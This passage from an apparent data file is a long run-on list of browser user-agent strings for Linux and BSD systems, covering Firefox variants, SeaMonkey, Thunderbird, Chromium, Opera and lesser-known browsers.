OPR/40.0.2308.62 Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/51.0.2704.79 Chrome/51.0.2704.79 Safari/537.36 Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/60.0.3112.78 Chrome/60.0.3112.78 Safari/537.36 Mozilla/5.0 (X11; Linux i686) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.8.6 Safari/538.1 Mozilla/5.0 (X11; Linux i686; Debian Testing; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Iceweasel/7.0.1 Mozilla/5.0 (X11; Linux i686; U) Opera 7.54 [en] Mozilla/5.0 (X11; Linux i686; U) Opera 7.54 [en] Mozilla/5.0 (X11; Linux i686; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64 Mozilla/5.0 (X11; Linux i686; U; en) Opera 8.52 Mozilla/5.0 (X11; Linux i686; U; en) Opera 9.00 Mozilla/5.0 (X11; Linux i686; U; en) Opera 9.01 Mozilla/5.0 (X11; Linux i686; U; en) Opera 9.02 Mozilla/5.0 (X11; Linux i686; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.21 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64 Mozilla/5.0 (X11; Linux i686; U; nb; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64 Mozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.20 Mozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.21 Mozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (X11; Linux i686; U; rv:1.7) Gecko/0 Kazehakase/0.4.3 Mozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.3.5 Mozilla/5.0 (X11; Linux i686; U;) AppleWebKit/146.1 (KHTML, like Gecko) Kazehakase0.4.5 Mozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.3.1 Mozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.3.8 Mozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.3.9 Mozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.4.3 Mozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.4.3 Debian/0.4.3-1ubuntu1 Mozilla/5.0 (X11; Linux i686; U;) Gecko/20050923 Kazehakase/0.2.8 Debian/0.2.8-1ubuntu2 Mozilla/5.0 (X11; Linux i686; U;) Gecko/20050923 Kazehakase/0.3.9 Mozilla/5.0 (X11; Linux i686; U;) Gecko/20051128 Kazehakase/0.3.3 Debian/0.3.3-1 Mozilla/5.0 (X11; Linux i686; U;) Gecko/20060216 Kazehakase/0.4.2 Mozilla/5.0 (X11; Linux i686; U;) Gecko/20060717 Kazehakase/0.3.8 Debian/0.3.8-2 Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070224 Kazehakase/0.3.9 Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070304 Kazehakase/0.4.6 Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5 Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.7 Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070610 Kazehakase/0.4.7 Mozilla/5.0 (X11; Linux i686; U;rv: 1.7.13) Gecko/20070322 Kazehakase/0.4.4.1 Mozilla/5.0 (X11; Linux i686; rv: 5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0 Mozilla/5.0 (X11; Linux i686; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0 Iceweasel/10.0 Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1 Mozilla/5.0 (X11; Linux i686; rv:10.0.6) Gecko/20100101 Firefox/10.0.6 Iceweasel/10.0.6 Mozilla/5.0 (X11; Linux i686; rv:10.0.7) Gecko/20100101 Firefox/10.0.7 Iceweasel/10.0.7 Mozilla/5.0 (X11; Linux i686; rv:10.0.7) Gecko/20100101 Iceweasel/10.0.7 Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 Firefox/12.0 SeaMonkey/2.9.1 Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 SeaMonkey/2.9.1 Mozilla/5.0 (X11; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1 Iceweasel/13.0.1 Mozilla/5.0 (X11; Linux i686; rv:13.0) Gecko/20120604 Firefox/13.0 SeaMonkey/2.10 Lightning/1.5.1 Mozilla/5.0 (X11; Linux i686; rv:13.0) Gecko/20120615 Thunderbird/13.0.1 Mozilla/5.0 (X11; Linux i686; rv:13.0) Gecko/20120615 Thunderbird/13.0.1 Lightning/1.5.1 Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0 Iceweasel/14.0 Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Iceweasel/14.0.1 Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20120714 Thunderbird/14.0 Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0 Iceweasel/15.0 Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1 Iceweasel/15.0.1 Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20120827 Thunderbird/15.0 Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1 Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20120909 SeaMonkey/2.12.1 Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20120910 Firefox/15.0.1 SeaMonkey/2.12.1 Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20120912 Thunderbird/15.0.1 Mozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0 Mozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20120906 SeaMonkey/2.13 Mozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20121011 Thunderbird/16.0.1 Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20100101 Firefox/3.6 Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20110322 Firefox/4.0 Iceweasel/4.0 Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20110518 Firefox/4.0.1 Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1 Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1 Lightning/1.0b4pre Mozilla/5.0 (X11; Linux i686; rv:2.0b10) Gecko/20100101 Firefox/4.0b10 Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20100101 Firefox/4.0b12pre Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20110204 Firefox/4.0b12pre Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20110204 SeaMonkey/2.1b3pre Mozilla/5.0 (X11; Linux i686; rv:2.0b13pre) Gecko/20110316 SeaMonkey/2.1b3pre Mozilla/5.0 (X11; Linux i686; rv:2.0b13pre) Gecko/20110321 SeaMonkey/2.1b3pre Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre Mozilla/5.0 (X11; Linux i686; rv:2.0b7pre) Gecko/20101008 Firefox/4.0b7pre SeaMonkey/2.1b1 Mozilla/5.0 (X11; Linux i686; rv:2.0b7pre) Gecko/20101103 Firefox/4.0b8pre Fennec/4.0b2 Mozilla/5.0 (X11; Linux i686; rv:2.0b8) Gecko/20101227 IceCat/4.0b8 Mozilla/5.0 (X11; Linux i686; rv:2.0b9pre) Gecko/20101230 SeaMonkey/2.1b2pre Mozilla/5.0 (X11; Linux i686; rv:2.0b9pre) Gecko/20101231 SeaMonkey/2.1b2pre Mozilla/5.0 (X11; Linux i686; rv:2.0b9pre) Gecko/20110101 SeaMonkey/2.1b2pre Mozilla/5.0 (X11; Linux i686; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 Mozilla/5.0 (X11; Linux i686; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 Mozilla/5.0 (X11; Linux i686; rv:2.2a1pre) Gecko/20110324 SeaMonkey/2.1b3pre Mozilla/5.0 (X11; Linux i686; rv:2.2a1pre) Gecko/20110327 SeaMonkey/2.2a1pre Mozilla/5.0 (X11; Linux i686; rv:2.2a1pre) Gecko/20110407 SeaMonkey/2.2a1pre Mozilla/5.0 (X11; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0 Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (X11; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0 Mozilla/5.0 (X11; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0 Mozilla/5.0 (X11; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25 Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.28a1 Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0 Mozilla/5.0 (X11; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0 Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0 Mozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0 Mozilla/5.0 (X11; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0 Mozilla/5.0 (X11; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0 SeaMonkey/2.46 Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0 Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0 Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2 Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1 Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20111106 IceCat/7.0.1 Mozilla/5.0 (X11; Linux i686; rv:7.0a1) Gecko/20110526 SeaMonkey/2.2a1pre Mozilla/5.0 (X11; Linux i686; rv:7.0a1) Gecko/20110530 SeaMonkey/2.2a1pre Mozilla/5.0 (X11; Linux i686; rv:7.0a1) Gecko/20110603 SeaMonkey/2.2a1pre Mozilla/5.0 (X11; Linux i686; rv:7.0a1) Gecko/20110604 SeaMonkey/2.2a1pre Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0 Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0 Iceweasel/8.0 Mozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Iceweasel/9.0.1 Mozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20120127 SeaMonkey/2.6.1 Mozilla/5.0 (X11; Linux i686; rv:9.0a2) Gecko/20111104 Firefox/9.0a2 Iceweasel/9.0a2 Mozilla/5.0 (X11; Linux ppc; rv:10.0.7) Gecko/20100101 Firefox/10.0.7 Iceweasel/10.0.7 Mozilla/5.0 (X11; Linux ppc; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.04 Chromium/11.0.696.0 Chrome/11.0.696.0 Safari/534.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Arora/0.10.2 Safari/534.34 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.824.0 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.10 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/10.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Ubuntu/11.10 Chromium/18.0.1025.142 Chrome/18.0.1025.142 Safari/535.19 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1042.0 Safari/535.21 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1 Iron/20.0.1150.1 Safari/536.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Iron/19.0.1100.0 Chrome/19.0.1100.0 Safari/536.5 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.21 (KHTML, like Gecko) konqueror/4.14.10 Safari/537.21 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.32 (KHTML, like Gecko) Chromium/25.0.1349.2 Chrome/25.0.1349.2 Safari/537.32 Epiphany/3.8.2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.125 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Safari/537.36 OPR/20.0.1396.73172 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36 Vivaldi/1.0.344.37 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2876.0 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/33.0.1750.152 Chrome/33.0.1750.152 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.56 Safari/537.4 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.9.0 Safari/538.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/604.1 (KHTML, like Gecko) Version/11.0 Safari/604.1 Ubuntu/17.04 (3.24.1-0ubuntu1) Epiphany/3.24.1 Mozilla/5.0 (X11; Linux x86_64) Gecko Firefox/5.0 Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62 Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60 Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63 Mozilla/5.0 (X11; Linux x86_64; U;) Gecko/20070610 Kazehakase/0.4.7 Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0 Iceweasel/10.0 Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:10.0.11) Gecko/20100101 conkeror/1.0pre (Debian-1.0~~pre+git120527-1) Mozilla/5.0 (X11; Linux x86_64; rv:10.0.2) Gecko/20120216 Firefox/10.0.2 SeaMonkey/2.7.2 Mozilla/5.0 (X11; Linux x86_64; rv:10.0.6) Gecko/20100101 Firefox/10.0.6 Iceweasel/10.0.6 Mozilla/5.0 (X11; Linux x86_64; rv:10.0.7) Gecko/20100101 Firefox/10.0.7 Iceweasel/10.0.7 Mozilla/5.0 (X11; Linux x86_64; rv:10.0a2) Gecko/20111118 Firefox/10.0a2 Iceweasel/10.0a2 Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2 Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Debian Iceweasel/14.0 Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120427 Firefox/12.0 SeaMonkey/2.9 Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120501 Firefox/12.0 SeaMonkey/2.9.1 Lightning/1.4 Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120721 Debian Iceweasel/15.0 Mozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0 Iceweasel/13.0 Mozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1 Iceweasel/13.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20120604 Firefox/13.0 SeaMonkey/2.10 Mozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20120615 Thunderbird/13.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20120615 Thunderbird/13.0.1 Lightning/1.5.1 Mozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0 Iceweasel/14.0 Mozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Iceweasel/14.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20120714 Thunderbird/14.0 Mozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20120714 Thunderbird/14.0 Lightning/1.6 Mozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20120817 Firefox/14.0.1 SeaMonkey/2.11 Mozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20120817 SeaMonkey/2.11 Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0 Iceweasel/15.0 Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1 Iceweasel/15.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120724 Debian Iceweasel/15.0 Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120724 Debian Iceweasel/15.02 Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120826 Firefox/15.0 SeaMonkey/2.12 Lightning/1.7 Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120827 Thunderbird/15.0 Lightning/1.7 Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1 Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120909 SeaMonkey/2.12.1 Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120912 Thunderbird/15.0.1 Lightning/1.7 Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121201 icecat/17.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 Lightning/1.9.1 Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130623 Thunderbird/17.0.7 Lightning/1.9.1 Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130804 Thunderbird/17.0.8 Lightning/1.9.1 Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0 Iceweasel/19.0.2 Mozilla/5.0 (X11; Linux x86_64; rv:2.0) Gecko/20110402 Firefox/4.0 Fennec/4.0b3 Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20110506 Firefox/4.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20110609 Firefox/4.0.1 SeaMonkey/2.1 Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4 Mozilla/5.0 (X11; Linux x86_64; rv:2.0b9pre) Gecko/20110111 Firefox/4.0b9pre Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0 Lightning/2.6b3 Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 Lightning/2.6.4 Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1 Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 FirePHP/0.5 Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Firefox/5.0 Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0 Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Mozilla/5.0 (X11; Linux x86_64; rv:6.0.1) Gecko/20110831 conkeror/0.9.3 Mozilla/5.0 (X11; Linux x86_64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Iceweasel/7.0.1 Debian Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110602 Firefox/7.0a1 SeaMonkey/2.2a1pre Lightning/1.1a1pre Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1 Mozilla/5.0 (X11; Linux x86_64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Iceweasel/9.0.1 Mozilla/5.0 (X11; Linux) Gecko Firefox/5.0 Mozilla/5.0 (X11; Linux) KHTML/4.9.1 (like Gecko) Konqueror/4.9 Mozilla/5.0 (X11; Linux; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Midori/0.4 Mozilla/5.0 (X11; Mageia; Linux x86_64; rv:10.0.9) Gecko/20100101 Firefox/10.0.9 Mozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0 Mozilla/5.0 (X11; NetBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.0 Mozilla/5.0 (X11; NetBSD x86; en-us) AppleWebKit/666.6+ (KHTML, like Gecko) Chromium/20.0.0000.00 Chrome/20.0.0000.00 Safari/666.6+ Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Mozilla/5.0 (X11; OpenBSD amd64; rv:24.0) Gecko/20100101 Firefox/24.0 SeaMonkey/2.21 Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0 Mozilla/5.0 (X11; OpenBSD amd64; rv:30.0) Gecko/20100101 